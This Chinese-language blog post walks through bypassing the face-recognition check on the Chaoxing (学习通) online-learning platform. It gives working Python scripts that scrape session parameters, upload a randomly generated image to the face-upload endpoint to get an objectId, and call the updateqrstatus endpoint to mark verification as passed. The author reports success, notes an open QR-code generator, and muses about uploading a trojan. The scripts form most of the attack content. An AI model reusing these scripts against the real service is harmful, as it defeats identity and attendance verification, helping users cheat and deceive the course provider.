被学习通的人脸识别恶心到了,简单的搞一下

一. Web端二维码接口分析

1. 简单试水

先用Burp简简单单的抓一下包,分析一下流量

得到人脸识别二维码接口

得到接口URL

分析接口,可以看到,这里有一个content参数,参数值是一个http请求,立刻想到SSRF漏洞,不过应该没用,先给URL解一下编码

得到URL:

1
https://mooc1.chaoxing.com/phone/course/qrc?content=https://mooc1-api.chaoxing.com/qr/view?uuid=<uuid>&clazzid=<clazzid>&enc=<enc>&videojobid=&chaptervideoobjectid=

参数结构如下

1
2
3
4
5
6
- content
- uuid
- clazzid
- enc
- videojobid
- chaptervideoobjectid

试试访问一下

可以得到二维码

后面两个参数不知道是啥。试试添加参数值

好像对结果没影响。

刷新一下,发现无反应,说明是根据参数值进行二维码的生成。那么就说明参数值应该是动态的。

2. 接口分析

我们现在得到了这个接口的URL,分析了它的参数组成,但是我很好奇,这个content到底是干啥的?参数前面跟着一个QCR,难道是一个二维码生成接口?

试试。

ok,估计就是了,随便扫一下

很好,直接跳转到https://www.trtyr.top,很好,不小心找到了一个漏洞。

那么这个接口目的就是把content后面的URL变成一个二维码

1
https://mooc1.chaoxing.com/phone/course/qrc?content=https://mooc1-api.chaoxing.com/qr/view?uuid=<uuid>&clazzid=<clazzid>&enc=<enc>&videojobid=&chaptervideoobjectid=

这是我们得到的完整URL,我们试试访问后面的那个URL

是一个人脸采集的页面,看样子是一个手机端,用手机端访问一下试试

很好,没有区别。应该是设置了什么,这里就不挨个情况试了。

那么现在的问题是那几个参数,uuidclazzidenc,至于后面的那两个好像没用,先不整。

3. 参数处理

很好,有到了处理参数的阶段,被逆向支配的恐惧又回来了。

这几个参数和我想的不太一样,简单找找就能找到了

  • uuid

uuid自己简单找找就找到了,不多说

得到uuid

  • clazzid

根据名称感觉像是课程的ID,然后找了找,果然发现了

得到clazzid,还是个死参数。

  • enc

这个enc好像在uuid那个参数见到过

ok,得到enc参数。

至此,基本上参数解决了,自己构建一个URL试试水

ok,成功。

简单写了两个代码实时获取这几个参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests  
import io
import sys

sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='gb18030') # 改变标准输出的默认编码 # 改变标准输出的默认编码

url = "https://mooc1-1.chaoxing.com/mooc-ans/visit/courselistdata"

headers = {
"Cookie": "",
"User-Agent": "",
"Host": "",
"Origin": "",
"Referer": "https://mooc1-1.chaoxing.com/visit/interaction?s=2ee3068353faf5f3256fab8d8608a216"
}

params = {
"courseType": "1",
"courseFolderId": "0",
"baseEducation": "0",
"superstarClass": "",
"courseFolderSize": "0"
}

response = requests.post(url, headers=headers, params=params)
response.encoding = "UTF-8"
print(response.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests  
import re

url = "https://mooc1-1.chaoxing.com/mooc-ans/visit/stucoursemiddle?courseid=204589142&clazzid=82833219&vc=1&cpi=272247709&ismooc2=1&v=2"

headers = {
"User-Agent": "",
"Cookie": "",
"Host": ""
}

response = requests.get(url, headers=headers)

list_ = []

for i in re.findall('value="(.*?)" id=".*?"/>', response.text):
list_.append(i)

uuid = list_[0]
qrcEnc = list_[1]

二. 手机端分析

1. 人脸认证接口分析

Web端现在只是解决了二维码的生成问题,我们接下来要解决手机端的人脸识别问题。

进行人脸识别,抓一下手机包

我这里也是用Burp代理抓的IOS包,具体怎么设置自己搜去。

好了,抓到了一个包,开始分析。

里头有一个包有接口泄露

再往下看,注意到一个包,我们叫他A包

不知道是干啥的。注意到里头有个objectid参数

再看看,找到了一个好像是授权成功的URL吗,我们称之为B包

是个POST请求,里头5个参数

  • clazzId
  • courseId
  • uuid
  • qrcEnc
  • objectId

clazzIduuidqrcEnc在Web搞出来了,courseId等会再找找,objectId上面也有,然后发现了一个悲伤的故事,objectId值和A包的不一样……。

那就再找找。然后在这个包发现了objectId,我们叫这个包C包。

这里有一个objectId,而且C包的objectId和B包的一样,往下看

是一个上传了一个图片,那么这个应该是上传人脸图片的接口,你可以用这个接口上传自己的图片,经测试可以得到正确的objectId,但是吧……,感觉差点意思。

好,现在objectId无法硬搞,先把courseId处理了。

ok,得到courseId,这参数和clazzid一样找。上面的代码里已经有了

现在除了objectId参数都OK了,现在希望只能指望于这个人脸识别是本地认证了

试试,经过测试,发现不是本地验证,心态有点崩……

2. objectId参数解决

我们完整的捋一下手机验证的过程,虽然过程包挺多,但是有用的只有两个

1
2
https://pan-yz.chaoxing.com/upload?uploadtype=face
https://mooc1-api.chaoxing.com/mooc-ans/qr/updateqrstatus

第一个URL是一个上传接口,用来上传图片的。

这里会返回一堆参数,其中就有objectId参数

第二个包是一个授权,使用前面的得到的参数进行POST请求一下就行。

所以重点就是objectId参数。

我们来看包

分两个部分,请求头和POST请求,经过不断的测试得到,_tokenpuid是不变的,这个file参数是以时间戳为文件名的JPG文件。然后就是下面图片内容,影响objectId生成的只有图片内容。

好,现在分析一下objectId的生成,有两种可能

  • 根据图片内容,通过算法加密,得到objectId
  • 图片仅作校验使用,不对objectId的生成做任何影响,objectId随机生成

由于逆向比较菜,所以第一种情况我试了一个点就放弃了,然后就是第二种。

第二种我最开始的想法是利用这个上传接口往里传人脸图片。我自己先简单试了一下,他这个人脸识别对个图片也能过,那么传人脸图片成功的概率应该不小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import random  
import string
import time
from requests_toolbelt import MultipartEncoder
import requests

url = "https://pan-yz.chaoxing.com/upload?uploadtype=face"

headers = {
"Cookie": "你的Cookie",
"User-Agent": "你的UA",
"Host": "网页Host",
}

rand_str = ''.join(random.sample(string.ascii_letters + string.digits, 16)) # 得到Boundary+1B7201D25A872B33后16位

file = open('你的人脸图片.jpg', 'rb')

body = MultipartEncoder(
fields={ # 这里根据需要进行参数格式设置
'_token': '你的_token',
'puid': '你的puid',
'file': (f"{str(int(time.time() * 1000))}.jpg", file, 'image/jpg'),

}, boundary=f'Boundary+{rand_str}')

contentype = body.content_type
headers['content-type'] = contentype
response = requests.post(url, headers=headers, data=body)
objectId = response.json()["objectId"]
print(objectId)

这里恶心到我的是它的POST请求方式,从来没写过multipart/form-data的脚本,后来感谢群里大佬的帮助。这里是他的文章

然后确实可以得到objectId了,但是他不变啊,只能用一次,之后我又换了好几张图片试,都不变,到这里就开始蒙了。

后来找我的网安老师进行一顿探讨,一开始老师以为我是要绕过这个人脸识别,我俩不在一条线上聊了半天,后来又针对我说的这个方法探讨了一会儿,但是不了了之了。

就当我一筹莫展的时候,我突然发现,对啊,绕过啊!我一个搞渗透的在这儿纠结逆向干啥……,他不是能上传文件嘛,我直接上传木马试试,当然这只是想想哈,胆子小,没敢搞。

然后随便试试,突然发现,我修改图片内容之后他也会返回objectId,然后又试试了试,发现真是,这时还没发现这是个漏洞,我打算对图片进行随机修改来实现随机objectId,脚本写一半,突然想到,既然他随便改图片都能得到objectId,那是不是说这个接口,随便传个图片就能返回objectId

简单写了个脚本试了一下。

先准备一个随机图片生成的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import numpy as np  
import cv2


def random_picture():
d = 400
img = np.ones((d, d, 3), np.uint8) * 255
for i in range(0, 100):
center_x = np.random.randint(0, high=d)
center_y = np.random.randint(0, high=d)

radius = np.random.randint(5, high=d / 5)
color = np.random.randint(0, high=256, size=(3,)).tolist()

cv2.circle(img, (center_x, center_y), radius, color, -1)

cv2.imwrite("1.jpg", img) # 保存图

这样随机生成一个1.jpg

然后改一下人脸识别的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import random  
import string
import time

from 随机图片 import random_picture

from requests_toolbelt import MultipartEncoder
import requests

url = "https://pan-yz.chaoxing.com/upload?uploadtype=face"

headers = {
"Cookie": "",
"User-Agent": "",
"Host": "",
}

rand_str = ''.join(random.sample(string.ascii_letters + string.digits, 16)) # 得到Boundary+1B7201D25A872B33后16位

random_picture()
file = open('1.jpg', 'rb')

body = MultipartEncoder(
fields={ # 这里根据需要进行参数格式设置
'_token': '',
'puid': '',
'file': (f"{str(int(time.time() * 1000))}.jpg", file, 'image/jpg'),

}, boundary=f'Boundary+{rand_str}')

contentype = body.content_type
headers['content-type'] = contentype
response = requests.post(url, headers=headers, data=body)
objectId = response.json()["objectId"]
print(objectId)

这样objectId参数就解决了

三. 授权

先把授权的代码补完

上面得到了objectId,然后就是根据参数授权了,这里就简单了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests  
from uuid_qrcEnc_ import uuid, qrcEnc
from 人脸图片解析 import objectId

url = "https://mooc1-api.chaoxing.com/mooc-ans/qr/updateqrstatus"

params = {
"clazzId": "",
"courseId": "",
"uuid": uuid,
"qrcEnc": qrcEnc,
"objectId": objectId
}

headers = {
"Origin": "https://mooc1-api.chaoxing.com",
"Cookie": "",
"Referer": "",
"User-Agent": "",
"Host": ""
}

response = requests.post(url, headers=headers, params=params)

print(response.text)

结果演示

第一次过了

第二次也过了,完成!

这破玩意整了半天,还是菜啊……